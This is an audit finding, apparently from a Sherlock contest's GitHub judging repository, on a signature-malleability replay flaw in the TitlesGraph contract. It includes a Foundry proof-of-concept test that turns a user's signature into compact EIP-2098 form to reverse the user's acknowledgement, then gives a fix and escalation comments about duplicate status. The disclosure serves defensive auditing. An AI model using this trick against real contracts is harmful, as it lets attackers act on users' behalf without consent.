Lack of protection from signature malleability

Summary

The TitlesGraph contract is incorrectly protected from signature replay-attack via signature malleability because it uses signature as the key in isUsed mapping and SignatureCheckerLib library from solady repository.

Vulnerability Detail

The TitlesGraph contract uses a mapping isUsed to protect from replay attack on functions that accept signature parameter, which are: acknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_) and unacknowledgeEdge(bytes32 edgeId_, bytes calldata data_, bytes calldata signature_).

The problem arises from two different issues, that must occur simultaneously.

First issue is that the signature is used as the mapping key (instead of the digest, potentially with some nonce) what could make it vulnerable to replay attack due to signature malleability.

That would however not be possible without the second issue, which is using the SignatureCheckerLib library from solady repository without detecting signature malleability. The library does not check for signature malleability itself, as stated in docs: https://github.com/Vectorized/solady/blob/91d5f64b39a4d20a3ce1b5e985103b8ea4dc1cfc/src/utils/SignatureCheckerLib.sol#L19-L23

As the result, anyone can take any signature from past transactions of a particular user, generate it's different format (without any external information) and execute the opposite operation on behalf of the user.

PoC

Notice I had to add solidity-bytes-utils package and I made the _hashTypedData function public to make it easier to get the correct digest.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;

import {Test, console} from "forge-std/Test.sol";

import {IEdgeManager} from "src/interfaces/IEdgeManager.sol";
import {TitlesGraph} from "src/graph/TitlesGraph.sol";
import {NodeType, Edge, Node, Target, Unauthorized} from "src/shared/Common.sol";

import {BytesLib} from "lib/solidity-bytes-utils/contracts/BytesLib.sol";

contract TitlesGraphTest is Test {
    using BytesLib for bytes;

    TitlesGraph public titlesGraph;

    function setUp() public {
        titlesGraph = new TitlesGraph(address(this), address(this));
    }

    function test_acknowledgeEdge_withMalleableSignature() public {

        (address alice, uint256 alicePk) = makeAddrAndKey("alice");
        (address bob, uint256 bobPk) = makeAddrAndKey("bob");

        Edge memory edge = Edge({
            from: Node({
                nodeType: NodeType.COLLECTION_ERC1155,
                entity: Target({target: address(alice), chainId: block.chainid}),
                creator: Target({target: address(2), chainId: block.chainid}),
                data: ""
            }),
            to: Node({
                nodeType: NodeType.TOKEN_ERC1155,
                entity: Target({target: address(3), chainId: block.chainid}),
                creator: Target({target: address(bob), chainId: block.chainid}),
                data: abi.encode(42)
            }),
            acknowledged: true,
            data: ""
        });

        // Create the edge
        vm.prank(alice);
        titlesGraph.createEdge(edge.from, edge.to, "");
        bytes32 edgeId = titlesGraph.getEdgeId(edge);

        // CAUTION: I made _hashTypedData public to easily get the digest.
        bytes32 digest = titlesGraph._hashTypedData(
            keccak256(
                abi.encode(
                    keccak256("Ack(bytes32 edgeId,bytes data)"), 
                    edgeId, 
                    new bytes(0)
                )
            )
        );
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(bobPk, digest);
        bytes memory signature = abi.encodePacked(r, s, v);

        // A valid signature will acknowledge the edge and emit an event
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeAcknowledged(edge, address(this), "");
        titlesGraph.acknowledgeEdge(edgeId, new bytes(0), signature);

        // Unacknowledging with the same signature will revert
        vm.expectRevert(Unauthorized.selector);
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature);

        bytes memory signature2 = to2098Format(signature);
        // Unacknowledging with modified signature will work
        edge.acknowledged = false;
        vm.expectEmit(true, true, true, true);
        emit IEdgeManager.EdgeUnacknowledged(edge, address(this), "");
        titlesGraph.unacknowledgeEdge(edgeId, new bytes(0), signature2);

    }

    /**
     * @dev Error that occurs when the signature length is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureLength(address emitter);

    /**
     * @dev Error that occurs when the signature value `s` is invalid.
     * @param emitter The contract that emits the error.
     */
    error InvalidSignatureSValue(address emitter);

    function to2098Format(bytes memory signature) internal view returns (bytes memory) {
        if (signature.length != 65) revert InvalidSignatureLength(address(this));
        if (uint8(signature[32]) >> 7 == 1) revert InvalidSignatureSValue(address(this));
        bytes memory short = signature.slice(0, 64);
        uint8 parityBit = uint8(short[32]) | ((uint8(signature[64]) % 27) << 7);
        short[32] = bytes1(parityBit);
        return short;
    }
}

Impact

Anyone is able to acknowledge or unacknowledge the edge being acknowledged by the creator of the to node (using signature).

Code Snippet

https://github.com/sherlock-audit/2024-04-titles/blob/main/wallflower-contract-v2/src/graph/TitlesGraph.sol#L40-L50

Tool used

Manual Review

Recommendation

Use digest (potentially with additional nonce if the same function parameters can be reused) instead of the signature as the mapping key.

Note that the additional nonce, if you plan to use it, must be included in the signed digest.

Duplicate of #279

ComposableSecurityTeam commented 1 month ago

Escalate

This is not duplicate of https://github.com/sherlock-audit/2024-04-titles-judging/issues/273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

sherlock-admin3 commented 1 month ago

Escalate

This is not duplicate of https://github.com/sherlock-audit/2024-04-titles-judging/issues/273.

The attack vector, affected code snippet, recommendation and impact are different. This issue shows a signature malleability problem, not the lack of action parameter in the digest.

This issue, together with https://github.com/sherlock-audit/2024-04-titles-judging/issues/10, https://github.com/sherlock-audit/2024-04-titles-judging/issues/53, https://github.com/sherlock-audit/2024-04-titles-judging/issues/130, https://github.com/sherlock-audit/2024-04-titles-judging/issues/279, https://github.com/sherlock-audit/2024-04-titles-judging/issues/155, https://github.com/sherlock-audit/2024-04-titles-judging/issues/168, https://github.com/sherlock-audit/2024-04-titles-judging/issues/178 and https://github.com/sherlock-audit/2024-04-titles-judging/issues/429, should not be duplicate of https://github.com/sherlock-audit/2024-04-titles-judging/issues/273, but a separate one.